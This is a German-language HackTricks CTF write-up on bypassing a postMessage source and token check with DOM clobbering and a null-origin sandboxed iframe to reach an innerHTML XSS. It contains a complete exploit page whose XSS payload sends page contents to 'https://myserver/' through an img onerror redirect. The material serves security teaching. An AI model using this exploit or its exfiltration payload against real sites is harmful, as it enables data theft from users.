hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
2024-02-10 15:36:32 +00:00

6.7 KiB

Umgehung der SOP mit Iframes - 2

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-2

In der Lösung für diese Herausforderung, schlägt @Strellic_ eine ähnliche Methode wie im vorherigen Abschnitt vor. Schauen wir es uns an.

In dieser Herausforderung muss der Angreifer Folgendes umgehen:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Wenn er das tut, kann er eine postmessage mit HTML-Inhalt senden, der ohne Säuberung (XSS) in der Seite mit innerHTML geschrieben wird.

Die Möglichkeit, die erste Überprüfung zu umgehen, besteht darin, window.calc.contentWindow auf undefined und e.source auf null zu setzen:

  • window.calc.contentWindow ist eigentlich document.getElementById("calc"). Sie können document.getElementById mit <img name=getElementById /> überschreiben (beachten Sie, dass die Sanitizer-API -hier- nicht so konfiguriert ist, dass sie in ihrem Standardzustand vor DOM-Überschreibungsangriffen schützt).
  • Daher können Sie document.getElementById("calc") mit <img name=getElementById /><div id=calc></div> überschreiben. Dann wird window.calc zu undefined.
  • Jetzt müssen wir sicherstellen, dass e.source undefined oder null ist (weil == anstelle von === verwendet wird, ist null == undefined True). Dies ist "einfach" zu erreichen. Wenn Sie ein iframe erstellen und eine postMessage daraus senden und das iframe sofort entfernen, wird e.origin null sein. Überprüfen Sie den folgenden Code:
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Um die zweite Überprüfung des Tokens zu umgehen, sendet man den token mit dem Wert null und setzt den Wert von window.token auf undefined:

  • Das Senden des token in der postMessage mit dem Wert null ist trivial.
  • window.token wird in der Funktion getCookie aufgerufen, die document.cookie verwendet. Beachten Sie, dass jeder Zugriff auf document.cookie auf Seiten mit null Ursprung einen Fehler auslöst. Dadurch erhält window.token den Wert undefined.

Die endgültige Lösung von @terjanq ist die folgende:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!